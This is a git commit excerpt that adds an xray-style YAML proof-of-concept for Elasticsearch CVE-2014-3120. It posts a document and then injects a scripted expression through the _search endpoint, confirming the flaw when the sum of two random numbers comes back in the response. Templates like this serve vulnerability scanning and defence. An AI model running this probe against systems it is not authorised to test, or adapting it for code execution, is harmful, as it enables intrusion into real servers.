优化xray解析模块,支持groups、新增poc

2026-09-27 05:31:53 +08:00 · 2021-11-16 14:42:35 +08:00
parent 858c28724b
commit b06d7ac94c
313 changed files with 4314 additions and 760 deletions
@@ -0,0 +1,45 @@
+name: poc-yaml-elasticsearch-cve-2014-3120
+set:
+  r: randomInt(800000000, 1000000000)
+  r1: randomInt(800000000, 1000000000)
+rules:
+  - method: POST
+    path: /test/test1/123
+    headers:
+      Content-Type: application/json
+    body: |
+      {
+        "name": "test"
+      }
+    expression: |
+      response.status == 201 || response.status == 200
+  - method: POST
+    path: /_search
+    headers:
+      Content-Type: application/json
+    body: |-
+      {
+          "size": 1,
+          "query": {
+            "filtered": {
+              "query": {
+                "match_all": {
+                }
+              }
+            }
+          },
+          "script_fields": {
+              "command": {
+                  "script": "{{r}}+{{r1}}"
+              }
+          }
+      }
+    follow_redirects: true
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string(r + r1)))
+
+detail:
+  author: suancaiyu、violin
+  elasticsearch: v1.1.1
+  links:
+    - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120